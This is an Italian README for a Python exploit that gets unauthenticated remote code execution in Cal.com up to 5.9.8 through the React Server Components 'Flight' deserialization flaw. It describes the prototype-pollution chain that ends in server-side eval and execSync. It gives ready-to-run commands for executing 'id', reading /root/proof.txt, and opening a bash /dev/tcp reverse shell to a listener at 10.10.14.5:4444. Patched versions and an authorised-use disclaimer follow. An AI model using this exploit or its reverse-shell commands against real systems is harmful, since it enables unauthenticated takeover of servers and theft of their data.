
Exploit in Python per RCE non autenticata in Cal.com (CVE-2025-71389) tramite deserializzazione di React Server Components. Una singola richiesta consente l'esecuzione di comandi o una reverse shell.
Esecuzione remota di codice non autenticata in Cal.com
<= 5.9.8 tramite il difetto di deserializzazione "Flight" dei React Server Components —
"react2shell" (CVE-2025-55182 in React, CVE-2025-66478 in Next.js).
Cal.com include un Next.js 15.x vulnerabile. Una singola POST / non autenticata con un
header Next-Action e un payload Flight multipart appositamente creato percorre una catena
di prototype pollution (__proto__:then + constructor:constructor) fino a una eval lato
server, raggiungendo child_process.execSync. L'output del comando viene restituito in linea
nel campo digest dell'errore RSC. Nessuna autenticazione, nessuna interazione con l'utente
— una singola richiesta è RCE.
<= 5.9.8 (Next.js 15.x / 16.x App Router con RSC)5.9.9 (aggiorna il Next.js incluso)3000pip install requests
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
Il comando singolo restituisce l'output in linea tramite il campo digest dell'errore RSC.
La modalità --shell attiva una reverse shell bash /dev/tcp distaccata con setsid
(il container del target è Debian e include bash).
Aggiorna Cal.com a >= 5.9.9 (qualsiasi Next.js corretto: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7). Non esporre l'handler delle server function RSC a client non
fidati e non eseguire il container dell'app come root.
Solo per test di sicurezza autorizzati e scopi educativi. Utilizzalo esclusivamente su sistemi di tua proprietà o per i quali hai esplicito permesso di test.